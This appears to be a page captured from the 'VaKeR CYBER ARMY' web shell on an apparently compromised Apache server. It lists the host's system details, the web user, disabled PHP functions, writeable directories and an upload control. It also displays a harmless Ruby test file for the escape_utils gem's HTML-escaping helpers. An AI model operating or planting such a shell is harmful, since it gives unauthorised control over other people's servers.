VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/lib/gems/2.5.0/gems/escape_utils-1.0.1/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/lib/gems/2.5.0/gems/escape_utils-1.0.1/test/html_safety_test.rb
require File.expand_path("../helper", __FILE__)

class Object
  def html_safe?
    false
  end
end

class TestSafeBuffer < String
  def html_safe?
    true
  end

  def html_safe
    self
  end

  def to_s
    self
  end
end

class String
  def html_safe
    TestSafeBuffer.new(self)
  end
end

class HtmlEscapeTest < Minitest::Test
  include EscapeUtils::HtmlSafety

  def test_marks_escaped_strings_safe
    escaped = _escape_html("<strong>unsafe</strong>")
    assert_equal "&lt;strong&gt;unsafe&lt;&#47;strong&gt;", escaped
    assert escaped.html_safe?
  end

  def test_doesnt_escape_safe_strings
    assert_equal "<p>safe string</p>", _escape_html("<p>safe string</p>".html_safe)
  end

  def test_
    assert_equal "5", _escape_html(5)
    assert_equal "hello", _escape_html(:hello)
  end
end

VaKeR 2022